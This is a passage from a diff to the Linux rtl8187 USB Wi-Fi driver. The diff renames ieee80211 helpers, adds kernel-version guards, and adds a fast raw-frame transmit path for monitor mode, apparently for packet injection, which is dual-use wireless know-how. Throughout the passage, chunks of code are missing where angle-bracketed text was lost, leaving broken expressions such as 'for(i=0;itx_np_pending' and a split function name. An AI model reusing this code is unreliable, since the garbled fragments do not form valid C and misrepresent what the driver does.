RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,21 +414,22 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); } @@ -430,7 +443,7 @@ void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +460,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +472,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +481,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +500,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +536,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +574,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +596,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +615,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +629,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +651,119 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +947,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +972,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +998,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 +1014,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; +} + +inline u8 rtl8180_IsWirelessBMode(u16 rate) +{ + if( ((rate <= 110) && (rate != 60) && (rate != 90)) || (rate == 220) ) + return 1; + else return 0; } - +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) +#else +void rtl8187_rx_isr(struct urb *rx_urb) +#endif { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1134,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1148,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1169,29 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->fasttx == 0) + { + spin_lock_irqsave(&priv->tx_lock,flags); + //DMESG("TX"); + if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + DMESG("Error: no TX slot "); + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, + ieeerate2rtlrate(rate)); + + priv->stats.txdatapkt++; + + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + ieee80211_stop_queue_rtl7(priv->ieee80211); + spin_unlock_irqrestore(&priv->tx_lock,flags); + } + else + { + rtl8180_tx_fast(dev, (u32*)skb->data, skb->len, ieeerate2rtlrate(rate)); + } + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1201,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1216,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1231,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1240,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,40 +1248,44 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif void rtl8180_try_wake_queue(struct net_device *dev, int pri); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1239,6 +1296,15 @@ rtl8180_try_wake_queue(dev,LOW_PRIORITY); } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void rtl8187_lptx_isr_fast(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr_fast(struct urb *tx_urb) +#endif +{ + kfree(tx_urb->transfer_buffer); + usb_free_urb(tx_urb); +} void rtl8187_beacon_stop(struct net_device *dev) { @@ -1249,55 +1315,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1373,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,31 +1384,38 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_nptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else priv->stats.txnperr++; kfree(tx_urb->transfer_buffer); usb_free_urb(tx_urb); - atomic_dec(&priv->tx_np_pending); + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR) + { + atomic_dec(&priv->tx_np_pending); + } //rtl8180_try_wake_queue(dev,NORM_PRIORITY); } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,12 +1425,12 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ + pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + /* we are locked here so the two atomic_read and inc are executed without interleaves */ if( pend > MAX_TX_URB){ if(priority == NORM_PRIORITY) priv->stats.txnpdrop++; @@ -1365,52 +1438,38 @@ priv->stats.txlpdrop++; return -1; } - - + //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} + if(morefrag) tx[0] |= (1<<17); tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,7 +1480,7 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, @@ -1438,54 +1497,97 @@ } } - +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB (fast) + */ + +short rtl8180_tx_fast(struct net_device *dev, u32* txbuf, int len, short rate) +{ + u32 *tx; + int status; + struct urb *tx_urb; + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + urb_len = len + 4*3; + if((0 == urb_len%64)||(0 == urb_len%512)) { + urb_len += 1; + } + tx = kmalloc(urb_len, GFP_ATOMIC); + if(!tx) return -ENOMEM; + + tx_urb = usb_alloc_urb(0,GFP_ATOMIC); + + if(!tx_urb){ + kfree(tx); + return -ENOMEM; + } + + memcpy(tx+3,txbuf,len); + tx[0] = (len & 0xfff) + 0x8000; + tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ + tx[0] |= (rate << 24); + tx[1] = 0; + tx[2] = 2931; + + /* FIXME check what EP is for low/norm PRI */ + usb_fill_bulk_urb(tx_urb,priv->udev, + usb_sndbulkpipe(priv->udev, 2), tx, urb_len, rtl8187_lptx_isr_fast, dev); + status = usb_submit_urb(tx_urb, GFP_ATOMIC); + if (!status){ + return 0; + }else{ + return -1; + } +} + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1596,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1607,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if 